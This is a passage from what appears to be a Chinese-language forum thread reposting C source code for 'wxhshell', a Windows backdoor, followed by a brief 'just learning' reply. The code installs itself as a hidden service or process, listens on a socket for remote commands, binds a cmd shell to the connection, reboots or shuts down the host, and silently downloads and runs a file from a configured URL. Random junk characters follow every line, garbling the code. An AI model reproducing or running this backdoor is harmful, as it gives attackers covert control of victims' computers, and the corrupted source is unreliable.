  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a+)Yk8%KY  
  else f'TjR#w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sn2SDHY  
  } WW0N"m'  
  else { *58<.L|  
@jN!j*Y H  
    switch(cmd[0]) { yopEqO  
  FoWE<  
  // 帮助 H.XD8qi3W  
  case '?': { 6#7f^uIK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1Ls@|   
    break; ly%$>BRU  
  } g10$pf+L  
  // 安装 <tuh%k  
  case 'i': { Df||#u=n  
    if(Install()) m/=,O_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8<0H(lj7_  
    else E,shTh%&~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \yNjsG@,  
    break; y7wy9+>l  
    } i|Lir{vW  
  // 卸载 i' %V}2  
  case 'r': { >*,Zc  
    if(Uninstall()) ;H_yNrwA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # Fw<R'c  
    else t< $9!"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M ioS  
    break; )J<Li!3  
    } "'94E,W  
  // 显示 wxhshell 所在路径 aWm0*W"(@  
  case 'p': { YN n,{Xi  
    char svExeFile[MAX_PATH]; y mY,*Rb  
    strcpy(svExeFile,"\n\r"); hZY+dHa]  
      strcat(svExeFile,ExeFile); kWjCSC>jA  
        send(wsh,svExeFile,strlen(svExeFile),0); J [2;&-@  
    break; !-2nIY!  
    } Of7j~kdh83  
  // 重启 7n,nODbJ  
  case 'b': { 3F5r3T6j}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vUS$DU F  
    if(Boot(REBOOT)) u Zz^>* b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z$X2*k6PK  
    else { 37?%xQ!  
    closesocket(wsh); ?T7`E q  
    ExitThread(0); Lx8 ^V7 X  
    } L:%ek3SOz  
    break; PQWo<Uet  
    } u Y V=  
  // 关机 j,/OzVm9  
  case 'd': { w:r0>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SLSJn))@!  
    if(Boot(SHUTDOWN)) L q'*B9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x@m"[u  
    else { & oZI. Qeo  
    closesocket(wsh); 9Wb9g/L  
    ExitThread(0); , =IbZ  
    } Dgj`_yd  
    break; Y gQ_P4B;  
    } } !pC}m  
  // 获取shell $7jJV(B  
  case 's': { (+4gq6b  
    CmdShell(wsh); L'J$jB5cP  
    closesocket(wsh); K*'(;1AiW  
    ExitThread(0); 2[[ pd&MJZ  
    break; }KCXo/y  
  } VeA;zq  
  // 退出 _p?lRU8  
  case 'x': { 2fO ~%!.G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *1ekw#'  
    CloseIt(wsh); /_xwHiA  
    break; $bF.6  
    }  8y OzD  
  // 离开 /jC0[%~jV  
  case 'q': { R5X<8(4p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Q-ON&/  
    closesocket(wsh); #PVgx9T=_  
    WSACleanup(); IJD'0/R'c  
    exit(1); Axk p  
    break; nrUrMnlg  
        } OC#oJwC  
  } k^ B'W{  
  } j()_ VoB1  
U.crRrN  
  // 提示信息 @8DB Ln w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1MRt_*N4  
} Rr^<Q:#"<|  
  } -/~^S]  
FxKH?Rl  
  return; wDem }uO  
} -F4CHpua  
O#H`/z  
// shell模块句柄 YCeE?S1gk3  
int CmdShell(SOCKET sock) ZJP.-`U  
{ A_{QY&%m  
STARTUPINFO si; b?CmKiM%  
ZeroMemory(&si,sizeof(si)); W+H 27qsv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yT-m9$^v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r@e_cD] M  
PROCESS_INFORMATION ProcessInfo; O2:m)@  
char cmdline[]="cmd"; #8R\J[9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d}>Nl$  
  return 0; jXGr{n  
} BpDf4)|  
yh]#V"W3  
// 自身启动模式 X3!btxa% t  
int StartFromService(void) bRLmJt98P  
{ lR{eO~'~V  
typedef struct #| A @  
{ Y%^&aacZ  
  DWORD ExitStatus; =5oFutg`  
  DWORD PebBaseAddress; JXftQOn  
  DWORD AffinityMask; ah"2^x  
  DWORD BasePriority; UQPd@IVu6  
  ULONG UniqueProcessId; aP cO9  
  ULONG InheritedFromUniqueProcessId; $$A{|4,aI  
}   PROCESS_BASIC_INFORMATION; y`mEsj  
*.Y! ZaK  
PROCNTQSIP NtQueryInformationProcess; )UI T'*ow  
UrH^T;#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *B)>5r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &%f y  
g5V9fnb!d  
  HANDLE             hProcess; ;g^QH r  
  PROCESS_BASIC_INFORMATION pbi; Z!G;q}zZ!  
GaSk &'n$Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +TpM7QaL  
  if(NULL == hInst ) return 0; UB.FX  
h[C!cX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yf3%g\k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {Ylj]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9H1R0iWW  
>P>.j+o/  
  if (!NtQueryInformationProcess) return 0; (4$lB{%  
4D$$KSa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); , j'=sDl  
  if(!hProcess) return 0; b\U Q6 V  
fR5 NiH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?5$\8gZ  
@D9c  
  CloseHandle(hProcess); .#5<ZAh/?  
p % 3B^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %ghQ#dZ]&  
if(hProcess==NULL) return 0; ^5 F-7R8Q  
{KeHqM}e  
HMODULE hMod; EK@yzJ%  
char procName[255]; KP _=#KD  
unsigned long cbNeeded; H#m)`=nZSZ  
OJ@';ZyT=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E0ud<'3<  
/B|#GJ\\3  
  CloseHandle(hProcess); #c+N}eX{  
QMy;?,  
if(strstr(procName,"services")) return 1; // 以服务启动 *ErTDy(   
aZ*b"3  
  return 0; // 注册表启动 y"cK@sOo  
} `Wn0v2@a(~  
Ea!}r| ~]0  
// 主模块 #8;^ys1f  
int StartWxhshell(LPSTR lpCmdLine) tI*u"%#t  
{ >|6[uKrO  
  SOCKET wsl; Y'Wj7P  
BOOL val=TRUE; A{x &5yX8  
  int port=0; ]8+%57:E  
  struct sockaddr_in door; /:ma}qG y  
NZ{kjAd3c  
  if(wscfg.ws_autoins) Install(); L@CN0ezQs  
jn]hqTy8  
port=atoi(lpCmdLine); duXv [1  
Ad@))o2  
if(port<=0) port=wscfg.ws_port; F8_pwJUpf-  
P%' bSx1  
  WSADATA data; "!E(= W?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n_$lRX5  
?tqTG2!(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e>nRJH8pK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,EcmMI^A  
  door.sin_family = AF_INET; ;NLL?6~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L9fhe,en  
  door.sin_port = htons(port); H!Uy4L~>  
r.-NfK4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =c-j4xna>  
closesocket(wsl); JP!$uK{u  
return 1; .g(yTA  
} e<~uU9 lg1  
}`5%2iG  
  if(listen(wsl,2) == INVALID_SOCKET) { fAUtqkB  
closesocket(wsl); "uTzmm$  
return 1; .}SW`R Pk  
} fhMtnh:  
  Wxhshell(wsl); Yx(?KN7V?  
  WSACleanup(); YOGw Q  
K+ufcct  
return 0; Y<w2_+(  
yHr/i) c  
} /  DeI s  
EZ1H0fm  
// 以NT服务方式启动 5SR 29Z[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;]Y.2 J  
{ ZS>}NN  
DWORD   status = 0; m[ay  
  DWORD   specificError = 0xfffffff; K`(STvtM  
c#u-E6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %pL ,A5M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J^n(WnM*F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J%j#gyTU  
  serviceStatus.dwWin32ExitCode     = 0; 0@*rp7   
  serviceStatus.dwServiceSpecificExitCode = 0; 72~)bu  
  serviceStatus.dwCheckPoint       = 0; "JJ )w0  
  serviceStatus.dwWaitHint       = 0; aODOc J N  
|;OM,U2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZN%$k-2  
  if (hServiceStatusHandle==0) return; 'V 1QuSd  
],qG!,V  
status = GetLastError(); ^YenS6`F  
  if (status!=NO_ERROR) ~`T(mh',  
{ ZzzQXfA#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @L{HT8utK3  
    serviceStatus.dwCheckPoint       = 0; +;:i,`Lmg  
    serviceStatus.dwWaitHint       = 0; ^Bm9y R  
    serviceStatus.dwWin32ExitCode     = status;  yZmQBh$  
    serviceStatus.dwServiceSpecificExitCode = specificError; $w+g%y)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CWCE}WU>4  
    return; BI4 p3-  
  } ^4B6IF*  
yK"U:X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .s7o$u~l  
  serviceStatus.dwCheckPoint       = 0; #(ANyU(#e  
  serviceStatus.dwWaitHint       = 0; =ZzhH};aX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +r4US or  
} _P,fJ`w   
dlJkxEh 2  
// 处理NT服务事件,比如:启动、停止 *|_u~v:)|5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9e=F  
{ $qg5m,1?  
switch(fdwControl) d /Zt}{  
{ lNqXx{!k  
case SERVICE_CONTROL_STOP: S3)JEZi  
  serviceStatus.dwWin32ExitCode = 0; 6M+~{9(S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V)!Oss;i  
  serviceStatus.dwCheckPoint   = 0; I4qzdD  
  serviceStatus.dwWaitHint     = 0; \Qu~iB(Y  
  { VI" ,E}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =2J+}ac  
  } ,0lRs   
  return; sGMC$%e}  
case SERVICE_CONTROL_PAUSE: [gIStKe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |I)xK@7  
  break; iu*u|e  
case SERVICE_CONTROL_CONTINUE: h-lMrI)U?h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YDs/BF Z  
  break; cS QUK  
case SERVICE_CONTROL_INTERROGATE: WDE_"Mm  
  break; r;upJbSX  
}; o=;.RYi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ik7#Og~ 3  
} L_)?5IOJ$  
5!tmG- 'b  
// 标准应用程序主函数 N4)& K[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YA{Kgc^  
{ [OH>NpL  
T_v  
// 获取操作系统版本 ou,W|<%  
OsIsNt=GetOsVer(); W=I%3F_C"R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oUltr  
:T%,.sH  
  // 从命令行安装 n9cWvy&f  
  if(strpbrk(lpCmdLine,"iI")) Install(); -}4H'%Z(i  
%b@>riR(y  
  // 下载执行文件 LO# {   
if(wscfg.ws_downexe) { -aKk#fd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mUcHsCszH  
  WinExec(wscfg.ws_filenam,SW_HIDE); L?Wl#wP\;*  
} -s:JD J*  
sDJ5'ul  
if(!OsIsNt) { Br \/7F  
// 如果时win9x,隐藏进程并且设置为注册表启动 V&h ,v%$  
HideProc(); eA{,=, v)  
StartWxhshell(lpCmdLine); t m5>J)C  
} 9L!Vj J  
else 4.H!rkMM  
  if(StartFromService()) ' ["Y;/>  
  // 以服务方式启动 =wS:)%u  
  StartServiceCtrlDispatcher(DispatchTable); z-krL:A  
else PcDPRX!@  
  // 普通方式启动 7F}I.,<W  
  StartWxhshell(lpCmdLine); rrbCg(  
-W+dsZ Sv8  
return 0; -cY /M~  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八